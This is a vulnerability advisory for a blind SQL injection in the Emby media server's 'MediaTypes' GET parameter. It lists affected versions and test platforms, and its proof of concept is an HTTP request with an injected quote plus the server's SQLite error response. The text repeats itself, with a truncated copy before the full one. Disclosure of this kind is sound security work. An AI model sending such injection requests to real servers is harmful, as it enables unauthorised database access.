### Summary Emby (formerly Media Browser) is a media server designed to organize, play, and stream audio and video to a variety of devices. Emby is open-source, and uses a client-server model. Two comparable media servers are Plex and Windows Media Center. ### Description Emby suffers from a blind SQL injection vulnerability. Input passed via the GET parameter 'MediaTypes' is not properly sanitised before being returned to the user or used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. ### Vendor Emby LLC - https://www.emby.media ### Affected Version * 3.2.5 * 3.1.5 * 3.1.2 * 3.1.1 * 3.1.0 * 3.0.0 ### Tested On * Microsoft Windows 7 Professional SP1 (EN) * Mono-HTTPAPI/1.1, UPnP/1.0 DLNADOC/1.50 * Ubuntu Linux 14.04.5 * MacOS Sierra 10.12.3 * SQLite3 ### PoC: ``` GET...
### Summary Emby (formerly Media Browser) is a media server designed to organize, play, and stream audio and video to a variety of devices. Emby is open-source, and uses a client-server model. Two comparable media servers are Plex and Windows Media Center. ### Description Emby suffers from a blind SQL injection vulnerability. Input passed via the GET parameter 'MediaTypes' is not properly sanitised before being returned to the user or used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. ### Vendor Emby LLC - https://www.emby.media ### Affected Version * 3.2.5 * 3.1.5 * 3.1.2 * 3.1.1 * 3.1.0 * 3.0.0 ### Tested On * Microsoft Windows 7 Professional SP1 (EN) * Mono-HTTPAPI/1.1, UPnP/1.0 DLNADOC/1.50 * Ubuntu Linux 14.04.5 * MacOS Sierra 10.12.3 * SQLite3 ### PoC: ``` GET /emby/Users/abb355429db54e159ac2a7a3cbd6eb12/Items?ParentId=4cd160cad6c50f34ca42be0136af2316&Filters=IsNotFolder&Recursive=true&SortBy=SortName&MediaTypes=Audio%2cVideo'&Limit=100&Fields=MediaSources%2CChapters&ExcludeLocationTypes=Virtual HTTP/1.1 Host: 10.211.55.3:8096 accept: application/json x-mediabrowser-token: ba5a68dfa1134bd6af642228bbf757bb User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 x-emby-authorization: MediaBrowser Client="Emby Mobile", Device="Chrome 55.0.2883.87", DeviceId="104a154d5aa8c9576a2508113b47a53b6170253c", Version="3.1.0.0", UserId="abb355429db54e159ac2a7a3cbd6eb12" Accept-Encoding: gzip, deflate, sdch Accept-Language: en-US,en;q=0.8 Connection: close ``` Response: ``` HTTP/1.1 500 Internal Server Error Content-Type: text/html Server: Mono-HTTPAPI/1.0 Date: Tue, 21 Feb 2017 12:06:09 GMT Content-Length: 64 Connection: close Exception of type 'SQLitePCL.pretty.SQLiteException' was thrown. ```
